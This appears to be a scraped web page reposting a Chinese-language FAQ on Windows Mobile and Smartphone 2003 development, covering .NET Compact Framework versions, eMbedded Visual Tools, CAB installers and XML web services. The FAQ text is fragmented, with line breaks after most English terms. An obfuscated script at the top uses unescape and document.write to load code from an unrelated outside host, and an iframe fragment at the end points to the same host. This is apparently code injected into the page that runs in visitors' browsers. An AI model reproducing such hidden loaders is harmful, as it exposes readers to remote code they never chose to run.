HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Windows Mobile 开发常见问题集(四) (转载)
http://www.winbile.net/BBS/1000079/ShowPost.aspx
1、
Q
:在
Smartphone 2003
上可以使用
.NET Compact Framework
的哪一个版本?
A
:
Smartphone 2003
允许开发人员使用
.NET Compact Framework 1.0 Service Pack 1
进行编码。
.NET Compact Framework
可以放在
Smartphone 2003
的
ROM
中。
.NET Compact Framework 1.0 Service Pack 2
放在
Smartphone 2003 Second Edition
的
ROM
中。
2、
Q
:什么是示例
Smartphone 2002
设备和
Smartphone 2003
设备?
A
:原始的
Orange SPV
与
Orange SPV e100
运行
Windows Mobile 2002
。
Orange
和
AT&T
上的
MPX200
都是基于
Windows Mobile 2002
的
Smartphone
。
Orange SPV e200
运行
Windows Mobile 2003
。
3、
Q
:
MFC
或
ATL
可用于
Smartphone 2003
开发吗?
A
:
MFC
不可用于
Smartphone 2003
。可以使用
ATL 4.0
进行
Smartphone 2003
开发。有关
ATL 4.0
的更多信息,请参阅
SDK
文档。
4、
Q
:从哪里可以找到更多有关
Smartphone
应用程序安全模型的信息?
A
:为了帮助开发人员了解基于
Windows Mobile
的
Smartphone
应用程序安全模型,我们创作了一本白皮书。请参见
http
:
//msdn.microsoft.com/library/en-us/dnsmtphn2k3/html/smartphone_security.asp
。
5、
Q
:可以使用
eMbedded Visual Basic 3.0
来构建
Smartphone 2003
应用程序吗?
A
:不可以,不支持以
Smartphone 2003
为目标的
eVB
开发。如果您希望利用
Visual Basic
的开发技巧,可以考虑使用
Visual Basic .NET
并以
.NET Compact Framework
为目标。
6、
Q
:什么是
Microsoft eMbedded Visual Tools 3.0
?
A
:
eMbedded Visual Tools 3.0
是一种集成开发环境(
IDE
),用来为基于
Microsoft Windows CE
操作系统的
32
位设备编写软件应用程序。其中包括完整版的
Microsoft eMbedded Visual C++ 3.0
语言、
Microsoft eMbedded Visual Basic 3.0
语言、特定于平台的
SDK
、远程工具和文档。
7、
Q
:
eMbedded Visual Tools 3.0
支持哪些设备平台?
A
:
eMbedded Visual Tools 3.0 - 2002 Edition
附带于
Pocket PC 2000
、
Pocket PC 2002
和
Smartphone 2002
的
SDK
,并支持开发自定义的
Windows CE 3.0
设备应用程序。注:
Pocket PC 2002 SDK
可以与
eMbedded Visual Basic 3.0
和
eMbedded Visual C++ 3.0
一起使用,但是
Smartphone 2002 SDK
却只受
eMbedded Visual C++ 3.0
支持。
8、
Q
:什么是
eMbedded Visual C++ 4.0
?
A
:
eMbedded Visual C++ 4.0
是一种强大的开发工具,在为下一代基于
Windows CE
的设备(包括
Pocket PC 2003
和
Smartphone 2003
)构建本机代码应用程序时可以为企业提供相当大的好处。这种独立的集成开发环境(
IDE
)带来了新水平的
Windows CE
开发效率,但却没有牺牲灵活性、性能或控制能力。要使用
eMbedded Visual C++
工具构建
Pocket PC 2003
与
Smartphone 2003
应用程序,还需要安装
eMbedded Visual C++ 4.0 Service Pack 3
和
Pocket PC 2003
以及
Smartphone 2003 SDK
。
9、
Q
:我可以使用
eMbedded Visual C++ 4.0
开发
Pocket PC
或
Smartphone
应用程序吗?
A
:可以使用带有
Service Pack 2
的
eMbedded Visual C++ 4.0
来开发包括
Windows Mobile 2003 Second Edition
在内的
Pocket PC 2003
与
Smartphone 2003
应用程序。也可以用它来开发
Pocket PC 2002
或
Smartphone 2002
应用程序。
10、
Q
:我可以使用
Windows CE Standard SDK
开发
Pocket PC
或
Smartphone
应用程序吗?
A
:
Windows CE SDK
提供了一个通用的功能子集,使得编写的应用程序能够符合
Standard SDK
,以便运行在基于自定义显示的
Windows CE .NET
平台上。为了构建
Pocket PC
和
Smartphone
智能设备应用程序来利用这些平台提供的丰富的设备功能集,需要使用特定于设备的
SDK
。
11、
Q
:
eMbedded Visual Tools 3.0
和
Visual Studio .NET
之间有什么不同?
A
:
eMbedded Visual Tools 3.0
是一种专门针对移动与嵌入式技术开发人员的独立开发环境。对于
Pocket PC
和
Smartphone
,都可以利用
eMbedded Visual Tools
和适当的平台
SDK
来构建丰富的“本机代码”客户端应用程序。
Visual Studio .NET
是
Microsoft
的最流行桌面开发工具的最新版本。可以使用
Visual Studio .NET 2003
来构建基于
.NET Compact Framework
的
Pocket PC
智能客户端应用程序。同时,还可以使用
Visual Studio .NET
和
ASP.NET
移动控件构建以各种设备(包括
Pocket PC
和
Smartphone
类别的设备)为目标的基于浏览器的应用程序。
12、
Q
:为什么没有将
eMbedded Visual C++
集成到
Visual Studio .NET
中?
A
:根据客户的反馈,我们最初的工作主要集中于使
Visual Basic .NET
开发人员能够更轻松地对设备进行编程。但是,利用本机代码(
C++
)创建设备应用程序的功能将会集成到
Visual Studio
的下一个版本中。
13、
Q
:什么是
.NET Compact Framework
?
A
:
.NET Compact Framework
是
.NET Framework
的子集,设计为能运行在资源受限的设备上,以便为托管代码和
XML Web
服务提供支持。
.NET Compact Framework
大大降低了编写运行在诸如
Pocket PC
设备上的应用程序和服务的开发成本。由于
.NET Compact Framework
是开发人员用来编写桌面和服务器应用程序的
.NET Framework
的一个子集,所以他们已经具备了编写
Pocket PC
和
Smartphone 2003
设备应用程序所必需的全部技巧。
14、
Q
:使用
.NET Compact Framework
的主要好处是什么?
A
:目前编写设备应用程序的一个最大障碍在于,大多数设备都要求开发人员了解不同的
API
和使用不同的编程工具(与用于桌面应用程序相比)。由于
.NET Compact Framework
使用的
.NET Framework
编程模型和
Visual Studio .NET
开发工具与开发人员已经在桌面和服务器上使用的相同,所以它可以大大降低开发设备应用程序的成本,并提高开发人员的工作效率。而这些好处又能够使企业以新的方式使用智能设备,从而改进他们的业务。
.NET Compact Framework
也是唯一带有
XML Web
服务本机支持的移动开发平台。
15、
Q
:什么设备可以运行
.NET Compact Framework
?
A
:
NET Compact Framework 1.0
可以用作
Pocket PC 2000
和
Pocket PC 2002
设备(包括
Phone Edition
)的
RAM
安装,并且可以放在
Pocket PC 2003
的
ROM
中。
Smartphone 2003
设备包含
.NET Compact Framework 1.0 Service Pack 1
。所有的
Windows Mobile 2003 Second Edition
设备均包含
.NET Compact Framework 1.0 Service Pack 2
。
16、
Q
:何时可以使用
.NET Compact Framework
?
A
:
.NET Compact Framework
的
1.0
版可以作为
Visual Studio .NET 2003
版本的一部分使用。有关更多信息,请参阅
Device Development
。
17、
Q
:
.NET Compact Framework
可以运行所有的
.NET
语言吗?
A
:最初,
.NET Compact Framework
可以运行
Visual C#
和
Visual Basic
。只要其他
.NET
语言符合
.NET Compact Framework
支持的公共语言运行库子集,它们就可以运行。
18、
Q
:
.NET Compact Framework
应用程序和
eMbedded Visual C++
应用程序的执行情况一样吗?
A
:在大多数情况下,用
eMbedded Visual C++
编写的应用程序的运行速度比用
Visual Basic .NET
或
Visual C# .NET
编写的应用程序快。但是,对于应用程序计算密集的部分,开发人员将会看到他们的
Visual Basic .NET
应用程序比他们的
eMbedded Visual Basic
应用程序有实质性的改善。
19、
Q
:
.NET Compact Framework
与
ASP.NET
移动控件之间有什么不同?
A
:对设备进行编程有两种不同的方法。一种方法是将应用程序放置在智能设备上。另一种方法是将代码放置在服务器上,并通过浏览器呈现用户界面。
.NET Compact Framework
支持前者,而
ASP.NET
移动控件(以前称为
Microsoft Mobile Internet
工具包)则支持后者。使用设备上的代码构建移动应用程序使应用程序在没有
Internet
连接的情况下可以继续工作。直接在设备上运行的应用程序还支持更丰富的用户界面,以及与操作系统上的可用资产(例如多媒体和其他的应用程序)进行集成的可能性。可以使用
.NET Compact Framework
将高效模型用于构建智能设备应用程序。构建代码位于服务器的移动应用程序也有其优点。在必须使用
Internet
支持的各种移动设备时,这种体系结构非常有用。这些应用程序也不受资源的限制,因为它们作为桌面
Web
应用程序运行在相同的服务器上。在
Visual Studio .NET
中使用
ASP.NET
移动控件可以完成这些应用程序的编写。
20、
Q
:
Visual Studio .NET 2003
和
Visual Studio 2005
开发的
Mobile
在部署(方法和平台)上面有什么具体的不同?
A
:从
Visual Studio 2005 beta
版的情况来看,和
Visual Studio .NET 2003
的部署过程是相同的。在开发方面,
Visual Studio 2005
直接提供了
Skin
功能,可以使开发者在设计界面时能够更加直观。并且在调试时,其调试环境不再是在模拟器环境当中,而直接使用本地计算机的资源,调试速度更快。
21、
Q
:我想使用
GPS
采集数据,然后将数据实时显示在客户机屏幕上,采用什么连接方式比较好?
A
:数据连接的方式主要取决于
GPS
的类型。目前
GPS
接收器有两种方式,串口或
USB
连接和蓝牙连接。如果是串口和
USB
连接,你可以使用
CreateFile
或者
OpenNETCF
中的串口类进行操作;而蓝牙设备,就需要使用
Windows CE
的
Bluetooth API
了。
22、
Q
:怎样生成一个像
PC
上
Setup
一样的安装程序在
Pocket PC
上来完成安装工作?
A
:
Windows Mobile
设备的标准安装文件是
CAB
格式的。您可以在
Visual Studio.NET
中选择“生成
CAB
文件”,或者直接使用命令行工具
cabwiz
生成
CAB
文件。
23、
Q
:用
Windows Mobile
把一个
XML
传入
Web Service
,处理后返回一个
XML
。传入的
XML
可有多种形式,请问共有哪几种写法?他们有什么区别?例子:
1.public XmlDo***ent GetXml(XmlDo***ent xmlfile);2.public XmlElement GetXml(XmlElement xmlfile)...
返回的
XML
其实是个
SOAP
消息,如何去掉
SOAP
?
A
:
1
)建议传递参数直接传递
XML
格式的字符串而不要传递对象。
2
)
Web Service
传递的信息中必定有
SOAP
消息,如果只想传递
XML
实体内容的话,建议通过
Http
请求直接
POST
数据,然后返回订制好的
XML
格式的实体数据。
24、
Q
:
XML
数据内容的安全性如何?与
SQL CE
相比哪个效率更高些呢?
A
:
1
)
XML
的数据内容本质上就是纯文本,没有安全性可言。要实现安全性,您可以通过一些别的加密手段对内容进行加密。
2
)相比来说,在处理大数据量的时候
SQL CE
的处理速度要比直接处理
XML
快一些。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">